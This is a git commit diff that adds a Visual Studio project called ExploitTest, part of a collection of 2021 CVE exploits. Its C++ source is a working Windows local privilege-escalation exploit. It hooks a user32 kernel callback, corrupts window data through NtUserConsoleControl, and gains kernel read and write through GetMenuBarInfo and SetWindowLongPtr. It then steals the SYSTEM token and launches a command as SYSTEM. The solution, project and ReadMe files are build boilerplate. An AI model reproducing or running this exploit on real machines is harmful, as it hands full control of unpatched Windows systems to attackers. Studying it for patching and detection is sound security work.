add several 2021 cve

This commit is contained in:
helloexp 2022-03-01 16:56:58 +08:00
parent 8292471328
commit 5940ce2a91
396 changed files with 89064 additions and 0 deletions

Binary file not shown.

View File

@ -0,0 +1,28 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 2013
VisualStudioVersion = 12.0.40629.0
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ExploitTest", "ExploitTest\ExploitTest.vcxproj", "{8FDF480F-F430-43FF-9D38-08C5FAF39F1A}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
Debug|x64 = Debug|x64
Release|Win32 = Release|Win32
Release|x64 = Release|x64
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{8FDF480F-F430-43FF-9D38-08C5FAF39F1A}.Debug|Win32.ActiveCfg = Debug|Win32
{8FDF480F-F430-43FF-9D38-08C5FAF39F1A}.Debug|Win32.Build.0 = Debug|Win32
{8FDF480F-F430-43FF-9D38-08C5FAF39F1A}.Debug|x64.ActiveCfg = Debug|x64
{8FDF480F-F430-43FF-9D38-08C5FAF39F1A}.Debug|x64.Build.0 = Debug|x64
{8FDF480F-F430-43FF-9D38-08C5FAF39F1A}.Release|Win32.ActiveCfg = Release|Win32
{8FDF480F-F430-43FF-9D38-08C5FAF39F1A}.Release|Win32.Build.0 = Release|Win32
{8FDF480F-F430-43FF-9D38-08C5FAF39F1A}.Release|x64.ActiveCfg = Release|x64
{8FDF480F-F430-43FF-9D38-08C5FAF39F1A}.Release|x64.Build.0 = Release|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

Binary file not shown.

View File

@ -0,0 +1,710 @@
// ExploitTest.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
#include<time.h>
typedef void*(NTAPI *lHMValidateHandle)(HANDLE h, int type);
typedef DWORD64(NTAPI *fnxxxClientAllocWindowClassExtraBytes)(DWORD64 *a1);
typedef DWORD64(NTAPI *fnNtUserConsoleControl)(int nConsoleCommand, HWND *pHwnd, int nConsoleInformationLength);
typedef DWORD64(NTAPI *fnNtCallbackReturn)(DWORD64 *a1, DWORD64 a2, DWORD64 a3);
typedef DWORD64 QWORD;
#define _BYTE uint8
#define _WORD uint16
#define _DWORD uint32
#define _QWORD uint64
lHMValidateHandle g_pfnHmValidateHandle = NULL;
fnxxxClientAllocWindowClassExtraBytes g_oldxxxClientAllocWindowClassExtraBytes = NULL;
QWORD g_nRandom = 0;
QWORD g_qwExpLoit = 0;
QWORD ref_g_pMem5 = 0;
HWND g_hWndMax = 0;
QWORD g_qwrpdesk = 0;
bool g_bIsInit = 0;
DWORD g_pmbi_rcBar_left = 0;
DWORD g_offset_0x1 = 0;
QWORD g_qwMinBaseAddress = 0;
QWORD g_qwRegionSize = 0;
DWORD g_Thrdeskhead_cLockobj_Min = 0;
fnNtUserConsoleControl g_pfnNtUserConsoleControl = nullptr;
fnNtCallbackReturn g_pfnNtCallbackReturn = nullptr;
BOOL FindHMValidateHandle() {
HMODULE hUser32 = LoadLibraryA("user32.dll");
if (hUser32 == NULL) {
printf("Failed to load user32");
return FALSE;
}
BYTE* pIsMenu = (BYTE *)GetProcAddress(hUser32, "IsMenu");
if (pIsMenu == NULL) {
printf("Failed to find location of exported function 'IsMenu' within user32.dll\n");
return FALSE;
}
unsigned int uiHMValidateHandleOffset = 0;
for (unsigned int i = 0; i < 0x1000; i++) {
BYTE* test = pIsMenu + i;
if (*test == 0xE8) {
uiHMValidateHandleOffset = i + 1;
break;
}
}
if (uiHMValidateHandleOffset == 0) {
printf("Failed to find offset of HMValidateHandle from location of 'IsMenu'\n");
return FALSE;
}
unsigned int addr = *(unsigned int *)(pIsMenu + uiHMValidateHandleOffset);
unsigned int offset = ((unsigned int)pIsMenu - (unsigned int)hUser32) + addr;
//The +11 is to skip the padding bytes as on Windows 10 these aren't nops
g_pfnHmValidateHandle = (lHMValidateHandle)((ULONG_PTR)hUser32 + offset + 11);
return TRUE;
}
HWND GuessHwnd(QWORD *pBaseAddress, DWORD dwRegionSize)
{
QWORD qwBaseAddressBak = *pBaseAddress;
QWORD qwBaseAddress = *pBaseAddress;
DWORD dwRegionSizeBak = dwRegionSize;
HWND hwndMagicWindow = nullptr;
do
{
while (*(WORD*)qwBaseAddress != g_nRandom&dwRegionSize > 0)
{
qwBaseAddress += 2;
dwRegionSize--;
}
//获取不到才会走下面的步骤
if (*(DWORD*)((DWORD*)qwBaseAddress + (0x18 >> 2) - (0xc8 >> 2)) != 0x8000000)
{
qwBaseAddress = qwBaseAddress + 4;
QWORD qwSub = qwBaseAddressBak - qwBaseAddress;
dwRegionSize = dwRegionSizeBak + qwSub;
}
hwndMagicWindow = (HWND)*(DWORD*)(qwBaseAddress - 0xc8);
if (hwndMagicWindow)
{
break;
}
} while (true);
return hwndMagicWindow;
}
DWORD64 g_newxxxClientAllocWindowClassExtraBytes(DWORD64 *a1)
{
DWORD64 dwTemp = *a1;
if (dwTemp == g_nRandom)
{
g_offset_0x1 = 1;
HWND hwndMagic = GuessHwnd(&g_qwMinBaseAddress, g_qwRegionSize);
printf("MagciHwnd==%p\r\n", hwndMagic);
if (hwndMagic)
{
g_pfnNtUserConsoleControl(6i64, &hwndMagic,0x10);
//
QWORD qwRet = g_Thrdeskhead_cLockobj_Min;
g_pfnNtCallbackReturn(&qwRet, 24i64, 0i64);
}
}
DWORD64 dwTest = *((PULONG64)*(a1 - 11));
return g_oldxxxClientAllocWindowClassExtraBytes(a1);
}
LRESULT __fastcall MyWndProc(HWND a1, UINT a2, WPARAM a3, LPARAM a4)
{
if (a2 != 2)
return DefWindowProcW(a1, a2, a3, a4);
PostQuitMessage(0);
return 0i64;
}
QWORD MyRead64(QWORD qwDestAddr)
{
MENUBARINFO pmbi = {};
pmbi.cbSize = sizeof(MENUBARINFO);
if (g_bIsInit)
{
}
else
{
QWORD *pTemp = (QWORD*)LocalAlloc(0x40u, 0x200ui64);
memset(pTemp, 0, 0x200);
QWORD qwBase = 0x000000400000000;
QWORD qwAdd = 0x0000000800000008;
for (int i = 0; i < 0x40; i++)
{
*(pTemp + i) = qwBase + qwAdd*i;
}
*(QWORD *)ref_g_pMem5 = (QWORD)pTemp;
GetMenuBarInfo(g_hWndMax, -3, 1, &pmbi);
g_pmbi_rcBar_left = pmbi.rcBar.left;
bool g_bIsInit = 1;
}
*(QWORD *)ref_g_pMem5 = qwDestAddr - g_pmbi_rcBar_left;
GetMenuBarInfo(g_hWndMax, -3, 1, &pmbi);
return (unsigned int)pmbi.rcBar.left + ((__int64)pmbi.rcBar.top << 32);
}
int _tmain(int argc, _TCHAR* argv[])
{
system("pause");
if (!FindHMValidateHandle()) {
printf("[!] Failed to locate HmValidateHandle, exiting\n");
return 1;
}
g_pfnNtUserConsoleControl = (fnNtUserConsoleControl)GetProcAddress(GetModuleHandleA("win32u.dll"), "NtUserConsoleControl");
g_pfnNtCallbackReturn = (fnNtCallbackReturn)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCallbackReturn");
//hook xxxClientAllocWindowClassExtraBytes
//获取 KernelCallbackTable gs段寄存器 0x60位置为PEB
// PEB 偏移0x58位置为KernelCallbackTable
DWORD64 KernelCallbackTable = *(DWORD64*)(__readgsqword(0x60u) + 0x58);
// 0x3d8位置为函数 user32!_xxxClientAllocWindowClassExtraBytes:
g_oldxxxClientAllocWindowClassExtraBytes = (fnxxxClientAllocWindowClassExtraBytes)*(DWORD64*)(KernelCallbackTable + 0x3D8);// 0x3d8位置为函数
DWORD dwOldProtect;
VirtualProtect((LPVOID)(KernelCallbackTable + 0x3D8), 0x300ui64, 0x40u, &dwOldProtect);
*(DWORD64*)(KernelCallbackTable + 0x3D8) = (DWORD64)g_newxxxClientAllocWindowClassExtraBytes;
VirtualProtect((LPVOID)(KernelCallbackTable + 0x3D8), 0x300ui64, dwOldProtect, &dwOldProtect);
srand(time(0i64));
g_nRandom = (rand() % 255 + 0x1234) | 1;
WNDCLASSEXW wndClass = {};
wndClass.lpfnWndProc = (WNDPROC)MyWndProc;
wndClass.cbSize = 80;
wndClass.style = 3;
wndClass.cbClsExtra = 0;
wndClass.cbWndExtra = 32;
wndClass.hInstance = GetModuleHandleW(0i64);
wndClass.lpszClassName = L"normalClass";
ATOM g_lpWcxNormal = RegisterClassExW(&wndClass);
//g_nRandom
wndClass.cbWndExtra = g_nRandom;
wndClass.lpszClassName = L"magicClass";
ATOM g_lpWcxMagic = RegisterClassExW(&wndClass);
QWORD offset_0x2c = 0x2C;
QWORD offset_0x28 = 0x28;
QWORD offset_0x40 = 0x40;
QWORD offset_0x44 = 0x44;
QWORD offset_0x58 = 0x58;
QWORD offset_0x128 = 0x128;
QWORD offset_0xc8 = 0xc8;
QWORD offset_0x18 = 0x18;
QWORD offset_0x10 = 0x10;
QWORD offset_0x220 = 0x220;
QWORD offset_0x80 = 0x80;
QWORD offset_0x98 = 0x98;
QWORD offset_0x50 = 0x50;
QWORD offset_0xe0 = 0xe0;
QWORD offset_ActiveProcessLinks = 0x2F0;
QWORD offset_InheritedFromUniqueProcessId = 0x3E8;
QWORD offset_Token = 0x360;
QWORD offset_UniqueProcessId = 0x2E8;
CreatePopupMenu();
QWORD g_pMem1 = (__int64)LocalAlloc(0x40u, 0x200ui64);
QWORD g_pMem2 = (__int64)LocalAlloc(0x40u, 0x30ui64);
QWORD g_pMem3 = (__int64)LocalAlloc(0x40u, 4ui64);
QWORD g_pMem4 = (LONG_PTR)LocalAlloc(0x40u, 0xA0ui64);
HLOCAL g_pMem5 = LocalAlloc(0x40u, 8ui64);
DWORD *ref_g_pMem1 = (DWORD *)g_pMem1;
QWORD ref_g_pMem2 = g_pMem2;
QWORD ref_g_pMem3 = g_pMem3;
QWORD ref_g_pMem4 = g_pMem4;
ref_g_pMem5 = (__int64)g_pMem5;
*(DWORD *)(g_pMem2 + offset_0x2c) = 16;
*ref_g_pMem1 = 0x88888888;
*(QWORD *)&ref_g_pMem1[2 * ((unsigned int)offset_0x28 >> 3)] = ref_g_pMem2;
ref_g_pMem1[(unsigned __int64)(unsigned int)offset_0x40 >> 2] = 1;
ref_g_pMem1[(unsigned __int64)(unsigned int)offset_0x44 >> 2] = 1;
*(QWORD *)&ref_g_pMem1[2 * ((unsigned __int64)(unsigned int)offset_0x58 >> 3)] = (QWORD)g_pMem5;
*(QWORD *)(ref_g_pMem3 + 8) = 16i64;
*(QWORD *)ref_g_pMem3 = (QWORD)ref_g_pMem1;
*(QWORD *)(ref_g_pMem4 +offset_0x98) = ref_g_pMem3;
printf("CreateWnd\r\n");
struct _MEMORY_BASIC_INFORMATION Buffer = {};
Buffer.BaseAddress = 0i64;
Buffer.AllocationBase = 0i64;
*(QWORD *)&Buffer.AllocationProtect = 0i64;
Buffer.RegionSize = 0i64;
*(QWORD *)&Buffer.State = 0i64;
*(QWORD *)&Buffer.Type = 0i64;
__int64 nIndex = 0i64;
__int64 nLoop = 10i64;
QWORD Thrdeskhead_cLockObj1 = 0;
QWORD Thrdeskhead_cLockObj2 = 0;
QWORD arrEntryDesktop[10] = {};
HWND arrhwndNoraml[10] = {};
do
{
HWND hwndNormal = CreateWindowExW(
0x8000000u,
(LPCWSTR)(unsigned __int16)g_lpWcxNormal,
L"somewnd",
0x8000000u,
0,
0,
0,
0,
0i64,
CreateMenu(),
GetModuleHandleW(0i64) ,
0i64);
arrhwndNoraml[nIndex] = hwndNormal;
QWORD qwfirstEntryDesktop = (QWORD)g_pfnHmValidateHandle(hwndNormal, 1);
arrEntryDesktop[nIndex] = qwfirstEntryDesktop;
printf("Hwnd:%08x qwfirstEntryDesktop=%p\r\n", hwndNormal, qwfirstEntryDesktop);
VirtualQuery((LPVOID)qwfirstEntryDesktop, &Buffer, 0x30ui64);
printf("BaseAddress:%p RegionSize=:%p\r\n", Buffer.BaseAddress, Buffer.RegionSize);
if (g_qwMinBaseAddress == 0)
{
g_qwMinBaseAddress = (QWORD)Buffer.BaseAddress;
g_qwRegionSize = (QWORD)Buffer.RegionSize;
}
else
{
if (g_qwMinBaseAddress<(QWORD)Buffer.BaseAddress)
{
}
else
{
g_qwMinBaseAddress = (QWORD)Buffer.BaseAddress;
g_qwRegionSize = (QWORD)Buffer.RegionSize;
}
}
//保存最小的
++nIndex;
--nLoop;
}
while (nLoop);
printf("Min BaseAddress:%p RegionSize=:%p\r\n", g_qwMinBaseAddress, g_qwRegionSize);
Thrdeskhead_cLockObj1 = *(DWORD *)((char *)arrEntryDesktop[0] + 8);
Thrdeskhead_cLockObj2 = *(DWORD *)((char *)arrEntryDesktop[1] + 8);
HWND hWndMin = *(HWND *)((char *)arrhwndNoraml + (Thrdeskhead_cLockObj2 < Thrdeskhead_cLockObj1 ? 8 : 0));
int nTemp = 0i64;
if (Thrdeskhead_cLockObj1 <= Thrdeskhead_cLockObj2)
nTemp = 1i64;
g_hWndMax = arrhwndNoraml[nTemp];
QWORD firstEntryDesktop_Max = arrEntryDesktop[nTemp];
firstEntryDesktop_Max = arrEntryDesktop[nTemp];
QWORD firstEntryDesktop_Min = *(__int64 *)((char *)arrEntryDesktop + (Thrdeskhead_cLockObj2 < Thrdeskhead_cLockObj1 ? 8 : 0));
g_Thrdeskhead_cLockobj_Min = *(DWORD *)(firstEntryDesktop_Min + 8);
DWORD Thrdeskhead_cLockboj_Max = *(DWORD *)((char *)firstEntryDesktop_Max + 8);
for (int i = 2i64; i < 10; ++i)
DestroyWindow(arrhwndNoraml[i]);
g_pfnNtUserConsoleControl(6i64, &hWndMin, 0x10);
DWORD tagWndMin_offset_0x128 = *(DWORD *)(firstEntryDesktop_Min + offset_0x128);
DWORD tagWndMax_offset_0x128 = *(QWORD *)(firstEntryDesktop_Max + offset_0x128);
HWND g_hWndMagic = CreateWindowExW(
0x8000000u,
(LPCWSTR)(unsigned __int16)g_lpWcxMagic,
L"somewnd",
0x8000000u,
0,
0,
0,
0,
0i64,
CreateMenu() ,
GetModuleHandleW(0i64) ,
0i64);
printf("realMagicHwnd=%p\n", g_hWndMagic);
DWORD dwRet = SetWindowLongW(g_hWndMagic, offset_0x128, g_Thrdeskhead_cLockobj_Min);
printf("dwRet=%p\r\n", dwRet);
printf("tagWndMin_offset_0x128=%p\r\n", tagWndMin_offset_0x128);
SetWindowLongW(g_hWndMagic, offset_0xc8, 0xFFFFFFF);
g_qwrpdesk = *(QWORD *)(firstEntryDesktop_Max + offset_0x18);
SetWindowLongPtrA(hWndMin, offset_0x18 + Thrdeskhead_cLockboj_Max - g_Thrdeskhead_cLockobj_Min, g_qwrpdesk ^ 0x4000000000000000i64);
g_qwExpLoit = SetWindowLongPtrA(g_hWndMax, -12, g_pMem4);
printf("g_qwExpLoit=%p\r\n", g_qwExpLoit);
QWORD qwOffset = Thrdeskhead_cLockboj_Max - g_Thrdeskhead_cLockobj_Min;
QWORD qwNewLong = g_qwExpLoit;
SetWindowLongPtrA(hWndMin, offset_0x18 + Thrdeskhead_cLockboj_Max - g_Thrdeskhead_cLockobj_Min, g_qwrpdesk );
QWORD qwFrist = MyRead64(g_qwExpLoit + offset_0x50);
printf("qwFrist read=%p\r\n", qwFrist);
QWORD qwSecond = MyRead64(qwFrist + offset_0x18);
printf("qwSecond read=%p\r\n", qwSecond);
QWORD qwThird = MyRead64(qwSecond + offset_0x80);
printf("qwSecond read=%p\r\n", qwThird);
QWORD qwFourth = MyRead64(qwFrist + offset_0x10);
printf("qwFourth read=%p\r\n", qwFourth);
QWORD qwFifth = MyRead64(qwFourth);
printf("qwFifth read=%p\r\n", qwFifth);
QWORD qwEprocess = MyRead64(qwFifth + offset_0x220);
printf("qwSixth read=%p\r\n", qwEprocess);
QWORD qwEprocessBak = qwEprocess;
DWORD dwPidSelf = GetCurrentProcessId();
QWORD dwSystemToken = 0;
QWORD dwMyToken = 0;
QWORD qwMyTokenAddr = 0;
while (!dwSystemToken || !qwMyTokenAddr)
{
DWORD dwPidRead = MyRead64(qwEprocess + (unsigned int)offset_UniqueProcessId);
if (dwPidRead == 4)
dwSystemToken = MyRead64(qwEprocess + (unsigned int)offset_Token);
if (dwPidRead == dwPidSelf)
qwMyTokenAddr = qwEprocess + (unsigned int)offset_Token;
qwEprocess = MyRead64(qwEprocess + (unsigned int)offset_ActiveProcessLinks)- (unsigned int)offset_ActiveProcessLinks;
if (qwEprocessBak==qwEprocess)
{
break;
}
}
//write64
SetWindowLongPtrA(hWndMin, Thrdeskhead_cLockboj_Max + offset_0x128 - g_Thrdeskhead_cLockobj_Min, qwMyTokenAddr);
SetWindowLongPtrA(g_hWndMax, 0, dwSystemToken);
SECURITY_ATTRIBUTES sa;
HANDLE hRead, hWrite;
byte buf[40960] = { 0 };
STARTUPINFOW si;
PROCESS_INFORMATION pi;
DWORD bytesRead;
RtlSecureZeroMemory(&si, sizeof(si));
RtlSecureZeroMemory(&pi, sizeof(pi));
RtlSecureZeroMemory(&sa, sizeof(sa));
int br = 0;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
if (!CreatePipe(&hRead, &hWrite, &sa, 0))
{
return -3;
}
wprintf(L"[*] Trying to execute %s as SYSTEM\n", argv[1]);
si.cb = sizeof(STARTUPINFO);
GetStartupInfoW(&si);
si.hStdError = hWrite;
si.hStdOutput = hWrite;
si.wShowWindow = SW_HIDE;
si.lpDesktop = L"WinSta0\\Default";
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
wchar_t cmd[4096] = { 0 };
lstrcpyW(cmd, argv[1]);
if (!CreateProcessW(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
{
CloseHandle(hWrite);
CloseHandle(hRead);
printf("[!] CreateProcessW Failed![%lx]\n", GetLastError());
return -2;
}
CloseHandle(hWrite);
printf("[+] ProcessCreated with pid %d!\n", pi.dwProcessId);
while (1)
{
if (!ReadFile(hRead, buf + br, 4000, &bytesRead, NULL))
break;
br += bytesRead;
}
puts("===============================");
puts((char*)buf);
fflush(stdout);
fflush(stderr);
CloseHandle(hRead);
CloseHandle(pi.hProcess);
QWORD tagWndMagic = (QWORD)g_pfnHmValidateHandle(g_hWndMagic, 1i64);
int nSizeofPointer = 8i64;
QWORD qwcbwndExtra = *(QWORD *)(tagWndMagic + offset_0xe0) ^ 0x80000000000i64;
SetWindowLongPtrA(hWndMin, offset_0x128 + Thrdeskhead_cLockboj_Max - g_Thrdeskhead_cLockobj_Min, qwThird + *(unsigned int *)(nSizeofPointer + tagWndMagic) + (unsigned int)offset_0x128);
SetWindowLongPtrA(g_hWndMax, 0, 0i64);
SetWindowLongPtrA(hWndMin, offset_0x128 + Thrdeskhead_cLockboj_Max - g_Thrdeskhead_cLockobj_Min, qwThird + *(unsigned int *)(nSizeofPointer + tagWndMagic) + (unsigned int)offset_0xe0);
SetWindowLongPtrA(g_hWndMax, 0, qwcbwndExtra);
SetWindowLongPtrA(hWndMin, offset_0x18 + Thrdeskhead_cLockboj_Max - g_Thrdeskhead_cLockobj_Min, g_qwrpdesk ^ 0x4000000000000000i64);
SetWindowLongPtrA(g_hWndMax, -12, qwNewLong);
SetWindowLongPtrA(hWndMin, offset_0x18 + Thrdeskhead_cLockboj_Max - g_Thrdeskhead_cLockobj_Min, g_qwrpdesk );
SetWindowLongPtrA(hWndMin, offset_0x128 + Thrdeskhead_cLockboj_Max - g_Thrdeskhead_cLockobj_Min, tagWndMax_offset_0x128);
SetWindowLongPtrA(hWndMin, offset_0x128, (unsigned int)tagWndMin_offset_0x128);
system("pause");
return 0;
}

View File

@ -0,0 +1,161 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{8FDF480F-F430-43FF-9D38-08C5FAF39F1A}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>ExploitTest</RootNamespace>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h" />
<ClInclude Include="targetver.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="ExploitTest.cpp" />
<ClCompile Include="stdafx.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
</ClCompile>
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -0,0 +1,36 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="源文件">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="头文件">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="资源文件">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="targetver.h">
<Filter>头文件</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="stdafx.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="ExploitTest.cpp">
<Filter>源文件</Filter>
</ClCompile>
</ItemGroup>
</Project>

View File

@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>

View File

@ -0,0 +1,30 @@
========================================================================
控制台应用程序ExploitTest 项目概述
========================================================================
应用程序向导已为您创建了此 ExploitTest 应用程序。
本文件概要介绍组成 ExploitTest 应用程序的每个文件的内容。
ExploitTest.vcxproj
这是使用应用程序向导生成的 VC++ 项目的主项目文件,其中包含生成该文件的 Visual C++ 的版本信息,以及有关使用应用程序向导选择的平台、配置和项目功能的信息。
ExploitTest.vcxproj.filters
